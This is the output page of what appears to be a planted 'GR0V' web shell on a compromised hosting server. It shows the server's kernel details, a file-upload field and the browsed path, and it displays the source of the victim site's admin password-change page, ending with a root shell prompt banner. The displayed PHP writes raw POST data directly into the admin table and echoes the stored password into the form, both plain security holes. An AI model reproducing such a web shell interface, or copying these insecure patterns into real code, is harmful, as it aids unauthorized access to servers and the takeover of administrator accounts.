? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/admin.php

<? include("header.php");?>
 <div id="top-panel">
            <div id="panel">
                <ul>
                   <li><a href="admin.php" class="report">Change Password</a></li>
                    <li><a href="mail.php" class="report_seo">E-mail contact</a></li>
                     <li><a href="order.php" class="report_seo">List Order</a></li>         
                </ul>
            </div>
      </div> 
<div id="content">


<div id="box" >
                	<h3>Change Password</h3>
                    <form action="" method="post">
                	<table width="99%">
					 
						<tbody>
  <?
if($_POST[Submit]=="Submit"){
if($_POST[u_pwd]!="" && $_POST[con]!="" &&  $_POST[u_pwd]== $_POST[con]){
$a=" u_id= '1'";
unset($_POST[Submit]);
unset($_POST[con]);
$_POST[u_type]=1;
$db->update_array("admin",$_POST,$a);
 echo '<script> alert("เรียบร้อย");</script>';
 }else{
 echo '<script> alert("ข้อมูลผิดพลาด");</script>';
 }
}
?>
     
                        
    <? $sql = "select * from admin   ";
   $res = $db->query($sql);
   $line = mysql_fetch_array($res)
   ?>
							<tr>
                                <td class="a-center"><div align="right">Username :</div></td>
                            	<td class="a-center"><div align="left">
                            	 
                          	      <label>
                          	      <input type="text" name="u_name" id="u_name" value="<?=$line[u_name]?>" readonly="readonly"/>
                          	      </label>
                           	  </div></td>
                            </tr>
                            <tr>
                                <td class="a-center"><div align="right">Password :</div></td>
                            	<td class="a-center"><label>
                            	  <div align="left">
                            	    <input type="password" name="u_pwd" id="u_pwd" value="<?=$line[u_pwd]?>"/>
                          	      </div>
                            	</label></td>
                            </tr>
                            <tr>
                                <td class="a-center"><div align="right">Confirm Password :</div></td>
                            	<td class="a-center"><label>
                            	  <div align="left">
                            	    <input type="password" name="con" id="con" />
                          	      </div>
                            	</label></td>
                            </tr>
                            <tr>
                                <td class="a-center"></td>
                            	<td class="a-center"><div align="left">
                            	  <input name="Submit" type="submit" id="Submit" value="Submit" />
                          	  </div></td>
                            </tr>
						</tbody>
					</table>
</form>
                    <!--<div id="pager">
                    	Page <a href="#"><img src="img/icons/arrow_left.gif" width="16" height="16" /></a> 
                    	<input size="1" value="1" type="text" name="page" id="page" /> 
                    	<a href="#"><img src="img/icons/arrow_right.gif" width="16" height="16" /></a>of 42
                    pages | View <select name="view">
                    				<option>10</option>
                                    <option>20</option>
                                    <option>50</option>
                                    <option>100</option>
                    			</select> 
                    per page | Total <strong>420</strong> records found
                    </div>-->
          </div>
</div>

      <? include("footer.php");?>

T1KUS90T
  root-grov@210.1.60.28:~$